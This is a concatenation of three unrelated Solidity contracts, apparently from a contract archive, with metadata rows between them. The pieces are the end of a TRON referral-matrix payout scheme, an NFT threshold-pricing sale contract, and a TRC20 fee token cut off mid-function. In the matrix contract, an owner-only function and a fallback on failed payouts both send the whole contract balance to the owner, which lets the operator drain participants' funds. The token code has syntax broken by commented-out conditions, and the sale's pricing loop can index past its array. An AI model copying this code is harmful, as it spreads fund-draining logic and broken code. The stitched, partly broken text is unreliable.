levelPrice[1] = 10 trx;
levelPrice[2] = 20 trx;
levelPrice[3] = 30 trx;
levelPrice[4] = 40 trx;
levelPrice[5] = 50 trx;
levelPrice[6] = 60 trx;
levelPrice[7] = 70 trx;
levelPrice[8] = 80 trx;
levelPrice[9] = 90 trx;
levelPrice[10] = 100 trx;
levelPrice[11] = 102400 trx;
levelPrice[12] = 204800 trx;
levelPrice[13] = 409600 trx;
levelPrice[14] = 819200 trx;
blevelPrice[1] = 10 trx;
blevelPrice[2] = 20 trx;
blevelPrice[3] = 30 trx;
blevelPrice[4] = 40 trx;
blevelPrice[5] = 50 trx;
blevelPrice[6] = 60 trx;
blevelPrice[7] = 70 trx;
blevelPrice[8] = 80 trx;
blevelPrice[9] = 90 trx;
blevelPrice[10] = 100 trx;
blevelPrice[11] = 102400 trx;
blevelPrice[12] = 204800 trx;
blevelPrice[13] = 409600 trx;
blevelPrice[14] = 819200 trx;
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
// vIdToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
vId_number[i][1]=ownerAddress;
index[i]=1;
currentvId[i]=1;
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function withdrawLostTRXFromBalance(address payable _sender) public {
require(msg.sender == owner, "onlyOwner");
_sender.transfer(address(this).balance);
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level] || msg.value == blevelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1)
{
require(users[msg.sender].activeX3Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
updateX3Referrer(msg.sender, freeX3Referrer, level);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
} else {
require(users[msg.sender].activeX6Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private
{
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
require(msg.value == levelPrice[currentStartingLevel]+blevelPrice[currentStartingLevel], "invalid registration cost");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
// vIdToAddress[vId] = userAddress;
uint256 newIndex=index[1]+1;
vId_number[1][newIndex]=userAddress;
index[1]=newIndex;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
lastUserId++;
vId++;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != owner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(owner, userAddress, 1, level);
users[owner].x3Matrix[level].reinvestCount++;
emit Reinvest(owner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private
{
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
if(level>1)
{
uint256 newIndex=index[level]+1;
vId_number[level][newIndex]=userAddress;
index[level]=newIndex;
}
if (users[referrerAddress].x6Matrix[level].referrals.length < 2)
{
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividendss(referrerAddress, userAddress, 2, level);
}
currentvId[level]=currentvId[level]+1; // After completion of two members
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2);
//close matrix
users[referrerAddress].x6Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL && users[referrerAddress].x6Matrix[level].reinvestCount==2)
{
users[referrerAddress].x6Matrix[level].blocked = true;
}
//create new one by recursion
//check referrer active level
address freeReferrerAddress = findFreeX6Referrer(level);
users[referrerAddress].x6Matrix[level].currentReferrer = freeReferrerAddress;
// vIdToAddress[vId]=referrerAddress;
// vId++;
uint256 newIndex=index[level]+1;
vId_number[level][newIndex]=referrerAddress;
index[level]=newIndex;
users[referrerAddress].x6Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
if(address(freeReferrerAddress) != address(0))
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(uint8 level) public view returns(address)
{
uint256 id=currentvId[level];
return vId_number[level][id];
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool,uint256) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool,uint256) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].referrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].reinvestCount);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) public {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
address(uint160(owner)).send(address(this).balance);
return;
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function sendETHDividendss(address userAddress, address _from, uint8 matrix, uint8 level) public
{
if (!address(uint160(userAddress)).send(blevelPrice[level]))
{
address(uint160(owner)).send(address(this).balance);
return;
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
/// working contract TU6n58p2aNst6JZcpBcw1TRmNdkWNM7C3F
| 289,203 | 12,751 |
8e3d8293c8efdf7ecf1cd3da7cb6d6e67daf28c258206c431c39e9a91c7d33ff
| 24,149 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/75/7556b081bccfc578b639bae0e43244d69f65893c_BuyoutThresholds.sol
| 4,517 | 18,511 |
pragma solidity ^0.8.9;
library MerkleProof {
function verify(bytes32[] memory proof,
bytes32 root,
bytes32 leaf) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IInitOwnable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() external view returns (address);
function initOwner(address initialOwner) external;
function renounceOwnership() external;
function transferOwnership(address newOwner) external;
}
interface ISaleModel is IInitOwnable {
event Initialised(uint256 indexed host, address indexed collection, uint256 indexed startTime);
event MetaUpdated(string indexed twitterPost, string indexed infoLink, string indexed preview);
event Finalised();
event ClaimedRaised(uint256 indexed amount);
function setMeta(string memory twitterPost, string memory infoLink, string memory preview) external;
function claimRaised() external;
}
interface ISaleFactory {
// Event
// ----------------------------------------------------------------------
event Initialised(IInitOwnable[] indexed saleModels, address indexed treasury, uint256 indexed treasuryCut, uint256 commission);
event SaleCreated(address indexed creator, address indexed clone, uint256 indexed saleId);
event ModelAdded(IInitOwnable indexed saleModel);
event ModelRemoved(uint256 indexed index);
event HostAdded(address indexed creator, address indexed treasury, uint256 indexed commissionPerc);
event HostChanged(uint256 indexed hostId, address indexed treasury, uint256 indexed commissionPerc);
event NewTreasury(address indexed treasury);
event NewTreasuryPerc(uint256 indexed treasuryPerc);
// Data Structures
// ----------------------------------------------------------------------
struct Host {
address owner;
address treasury;
uint256 commissionPerc;
}
struct Sale {
// Sale model cloning.
IInitOwnable modelUsed;
// Clone sale contract the artist is using.
IInitOwnable saleContract;
}
struct Model {
IInitOwnable ref;
uint256 totalCreated;
}
// Views
// ----------------------------------------------------------------------
function TREASURY() external view returns(address);
function TREASURY_CUT() external view returns(uint256);
function host(uint256 id) external view returns (Host memory);
function host(address addr) external view returns (bool success, uint256 id);
function hostList() external view returns(Host[] memory);
function hostLength() external view returns(uint256);
function sale(uint256 id) external view returns (Sale memory);
function saleList() external view returns(Sale[] memory);
function saleLength() external view returns(uint256);
function model(uint256 id) external view returns (Model memory);
function modelList() external view returns (Model[] memory);
function modelLength() external view returns(uint256);
function userSaleIds(address user) external view returns (uint256[] memory);
function saleByAddress(IInitOwnable saleAddress) external view returns (bool success, uint256 id);
function saleListByIds(uint256[] memory ids) external view returns (Sale[] memory);
// Interaction
// ----------------------------------------------------------------------
function createSale(uint256 modelId) external returns (address result);
function addHost(address treasury, uint256 soldPerc) external;
function adjustHost(uint256 hostId, address treasury, uint256 soldPerc) external;
}
interface ICollection {
function totalSupply() external view returns(uint256);
function totalMinted() external view returns(uint256);
function needMintAllowance() external view returns(bool);
function approvedMinting(address minter) external view returns(uint256);
function mint(address to, uint256 amount) external;
}
abstract contract InitOwnable is IInitOwnable {
bool private _init;
address private _owner;
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function owner() public view override returns (address) {
return _owner;
}
function initOwner(address initialOwner) external override {
require(!_init, "shoo");
_init = true;
_transferOwnership(initialOwner);
}
function renounceOwnership() public override onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// --------------------------------------------------------------------------------------
//
// (c) BuyoutThresholds 27/12/2021 | SPDX-License-Identifier: AGPL-3.0-only
// Designed by, DeGatchi (https://github.com/DeGatchi).
//
// --------------------------------------------------------------------------------------
contract BuyoutThresholds is ISaleModel, InitOwnable {
event Buyout(address indexed buyer, uint256 indexed amount, uint256 bonusAmount, uint256 indexed cost);
ISaleFactory public constant SALE_FACTORY = ISaleFactory(0x41b4d749ac112741dC2dD8a1429b3421FE73F585);
IERC20 public constant WETH = IERC20(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
struct Info {
// Link to tweet that includes details of sale.
// - Used to let community know this isn't an imposter sale.
string twitterPost;
// Link to external link that has more information on the project.
string infoLink;
// Link to off-chain metadata (image/gif).
// - Used to display preview of collection being sold.
string preview;
// Whitelist merkle tree root
// - If no whitelist, merkle root == `0x0...`
bytes32 merkleRoot;
// Host commission percentage.
uint256 hostCommissionPerc;
// Host ID assigned to this sale.
uint256 host;
// Whether sale has ended
bool finalised;
// Address that made the sale
address creator;
// Token contract to mint ids from
// - Must be able to give permission to this contract to mint
ICollection collection;
// Amount raised from sale
uint256 raised;
// Amount not claimed from raised
uint256 unclaimed;
}
Info public info;
struct Sale {
// Mark threshold being currently used
uint256 currentMark;
// Timestamp of when collection auction starts
uint256 startTime;
// Timestamp of when collection auction ends
uint256 endTime;
// Total ids to sell/mint
uint256 totalSupply;
// Total sold
uint256 totalSold;
}
Sale public sale;
struct BulkBonus {
// Amount of NFTs being bought.
uint256 buyingAmount;
// Amount of NFTs given for free.
uint256 freeAmount;
}
// The more bought, the more given for free
BulkBonus[] public bulkBonuses;
struct Marks {
// When supply sold is below or equal to `below`, price per token is `price`.
// - e.g, supplyMark = 100, priceMark = $200
// supplyMark = 200, priceMark = $300
// supplyMark = 300, priceMark = $400
uint256 supplyMark;
uint256 priceMark;
}
Marks[] public marks;
bool public initialised;
modifier onlyInit() {
require(initialised, "NOT_INITIALISED");
_;
}
// Creation
// ----------------------------------------------------------------------
/// @dev Initiate the sale contract.
/// @param _host Index of SALE_FACTORY's referrals that referred you.
/// @param _collection NftCollection integrated NFT contract being sold.
/// @param _startDelay Amount of seconds to add to block.timestamp to begin the sale.
/// @param _duration Amount of seeconds the sale lasts for once it starts.
/// @param _marks Supply thresholds that change the price.
/// @param _merkleRoot Optional: merkle root from tree of whitelisted addresses.
/// @param _bulkBonuses Optional: the more bought, the more given for free.
function init(uint256 _host,
ICollection _collection,
uint24 _startDelay,
uint24 _duration,
Marks[] memory _marks,
bytes32 _merkleRoot,
BulkBonus[] memory _bulkBonuses) public onlyOwner {
require(!initialised, "ALREADY_INITIALISED");
if (_host > 0) {
require(_host <= SALE_FACTORY.hostLength() - 1, "HOST_NOT_FOUND");
}
uint256 _totalSupply = _marks[_marks.length - 1].supplyMark;
require(_collection.totalMinted() + _totalSupply <= _collection.totalSupply(), "EXCEEDS_TOTAL_SUPPLY");
require(_collection.approvedMinting(address(this)) >= _totalSupply, "UNDERFLOW: MINT_ALLOWANCE");
initialised = true;
ISaleFactory.Host memory host = SALE_FACTORY.host(_host);
info.host = _host;
info.hostCommissionPerc = host.commissionPerc;
info.collection = _collection;
info.merkleRoot = _merkleRoot;
info.creator = msg.sender;
for (uint256 i; i < _marks.length; i++) {
if (i > 0) {
require(_marks[i].supplyMark > _marks[i - 1].supplyMark, "UNDERFLOW: SUPPLY_MARK");
}
marks.push(_marks[i]);
}
sale.startTime = block.timestamp + _startDelay;
sale.endTime = block.timestamp + _startDelay + _duration;
sale.totalSupply = _totalSupply;
for (uint256 i; i < _bulkBonuses.length; i++) {
bulkBonuses.push(_bulkBonuses[i]);
}
emit Initialised(_host, address(_collection), block.timestamp);
}
/// @dev Sets metadata used for verification.
/// @param infoLink Link to a website that explains more about your project.
/// @param preview Link to metadata image/gif, used as preview on FE (e.g., IPFS link).
function setMeta(string memory twitterPost,
string memory infoLink,
string memory preview) external override onlyOwner {
info.twitterPost = twitterPost;
info.infoLink = infoLink;
info.preview = preview;
Info memory mInfo = info;
emit MetaUpdated(mInfo.twitterPost, infoLink, mInfo.preview);
}
// Interaction
// ----------------------------------------------------------------------
/// @dev Creator receives unclaimed raised funds.
function claimRaised() external override onlyInit {
Info memory mInfo = info;
require(mInfo.unclaimed > 0, "ZERO_UNCLAIMED");
ISaleFactory.Host memory host = SALE_FACTORY.host(mInfo.host);
// Calculate commission amount.
uint256 commission = (mInfo.unclaimed * host.commissionPerc) / 10000;
// Reset unclaimed.
info.unclaimed = 0;
// If referral isn't factory creator, calculate referral cut.
if (commission > 0) {
address theaterTreasury = SALE_FACTORY.TREASURY();
if (host.treasury != theaterTreasury) {
uint256 theaterCut = SALE_FACTORY.TREASURY_CUT();
uint256 cut = (commission * theaterCut) / 10000;
WETH.transfer(host.treasury, commission - cut);
WETH.transfer(theaterTreasury, cut);
} else {
// otherwise, give total commission to factory creator.
WETH.transfer(host.treasury, commission);
}
}
// Transfer raised (minus commission) to sale creator.
WETH.transfer(mInfo.creator, mInfo.unclaimed - commission);
emit ClaimedRaised(mInfo.unclaimed);
// Check if sale has finalised.
_finalise();
}
/// @dev Buyout current bundle.
/// @param amount Amount of ids to buy.
function buyout(bytes32[] calldata merkleProof, uint256 amount) external onlyInit {
Info memory mInfo = info;
require(amount > 0, "ZERO_AMOUNT");
require(!mInfo.finalised, "SALE_FINALISED");
require(_isWhitelisted(merkleProof), "NOT_WHITELISTED");
Sale memory mSale = sale;
require(block.timestamp >= mSale.startTime, "AWAITING_SALE_START");
require(block.timestamp < mSale.endTime, "SALE_ENDED");
(uint256 cost, uint256 bonusAmount , uint256 newMark) = buyingResults(amount);
uint256 tally = amount + bonusAmount;
// Checks total amount being minted doesnt exceed totalSupply.
uint256 newTotalSold = mSale.totalSold + tally;
require(newTotalSold <= mSale.totalSupply, "OVERFLOW: AMOUNT");
// Send payment + update stats.
WETH.transferFrom(msg.sender, address(this), cost);
info.raised += cost;
info.unclaimed += cost;
sale.totalSold += tally;
sale.currentMark = newMark;
mInfo.collection.mint(msg.sender, tally);
emit Buyout(msg.sender, amount, bonusAmount, cost);
// Check if sale has finalised.
_finalise();
}
// Internals
// ----------------------------------------------------------------------
/// @dev Finalises the sale if the requirements are met.
function _finalise() internal {
Sale memory mSale = sale;
// If sold out OR current time has passed endTime.
if (mSale.totalSold == mSale.totalSupply || block.timestamp > mSale.endTime) {
Info memory mInfo = info;
if (!mInfo.finalised) {
info.finalised = true;
emit Finalised();
}
}
}
/// @dev Checks if user is whitelisted for sale participation.
function _isWhitelisted(bytes32[] calldata _merkleProof) internal view returns (bool) {
Info memory mInfo = info;
bytes32 nullRoot;
// If no merkle root, no whitelist.
if (mInfo.merkleRoot != nullRoot) {
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
return MerkleProof.verify(_merkleProof, mInfo.merkleRoot, leaf);
} else return true;
}
// Views
// ----------------------------------------------------------------------
/// @dev Calculates how many free NFTs are given based off the buying `amount`.
/// @param amount Amount of ids to buy.
function getBulkBonus(uint256 amount) public view returns (uint256) {
BulkBonus[] memory mBB = bulkBonuses;
uint256 bulkIndex;
if (mBB.length > 0) {
for (uint256 i; i < mBB.length; i++) {
if (amount >= mBB[i].buyingAmount) {
bulkIndex = i;
}
}
return mBB[bulkIndex].freeAmount;
} else {
return 0;
}
}
/// @dev Get the total cost + new mark being used.
/// @param amount Amount of ids to buy.
/// @return cost Total cost for the `amount` provided.
/// @return bonus Total nfts being given for free.
/// @return mark The updated mark being used.
function buyingResults(uint256 amount)
public
view
returns (uint256 cost, uint256 bonus, uint256 mark)
{
Sale memory mSale = sale;
Marks[] memory mMarks = marks;
bonus = getBulkBonus(amount);
// Calculate cost for each NFT being bought.
for (uint256 i; i < amount + bonus; i++) {
Marks memory mMark = mMarks[mSale.currentMark];
mSale.totalSold++;
if (i < amount) {
cost += mMark.priceMark;
}
// If amount sold passes current threshold...
if (mSale.totalSold >= mMark.supplyMark) {
// If current mark == highest mark.
if (mSale.currentMark == mMarks.length) {
// Mulitply remaining amount by price mark.
cost += mMark.priceMark * (amount - i);
break;
} else {
// Go next mark
mSale.currentMark++;
}
}
}
return (cost, bonus, mSale.currentMark);
}
/// @dev Returns all stats to do w/ the sale.
function getSaleDetails() external view returns (bool isInitialised,
Info memory,
Sale memory,
BulkBonus[] memory,
Marks[] memory) {
return (initialised,
info,
sale,
bulkBonuses,
marks);
}
}
| 326,500 | 12,752 |
91b271ec18540f8d6f0445c304d02c55674e10386f9280c482faf593be97b210
| 18,111 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TP/TP4unr6XgXyZxWDQE9UXRvtW7MZs3sE8LZ_TMSToken.sol
| 3,229 | 12,015 |
//SourceUnit: Token.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract TMSToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'MLGB';
string private _symbol = 'MLGB';
uint8 private _decimals = 6;
uint256 private _totalSupply = 888 * 10**uint256(_decimals);
address private _burnPool = address(0);
address private _fundAddress;
uint256 public _burnFee = 1;
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 3;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _fundFee = 1;
uint256 private _previousFundFee = _fundFee;
uint256 public MAX_STOP_FEE_TOTAL = 600 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
uint256 private _fundFeeTotal;
bool private inSwapAndLiquify = false;
bool public swapAndLiquifyEnabled = true;
address public _exchangePool;
uint256 public constant delay = 15 minutes;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(uint256 tokensSwapped,
uint256 trxReceived,
uint256 tokensIntoLiqudity);
event InitLiquidity(uint256 tokensAmount,
uint256 trxAmount,
uint256 liqudityAmount);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (address fundAddress) public {
_fundAddress = fundAddress;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMaxStopFeeTotal(uint256 total) public onlyOwner {
MAX_STOP_FEE_TOTAL = total;
restoreAllFee();
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalFundFee() public view returns (uint256) {
return _fundFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient]
//recipient == _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient]
//recipient == _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity, uint256 tFund) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient] &&
recipient != _exchangePool) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_balances[_fundAddress] = _balances[_fundAddress].add(tFund);
_fundFeeTotal = _fundFeeTotal.add(tFund);
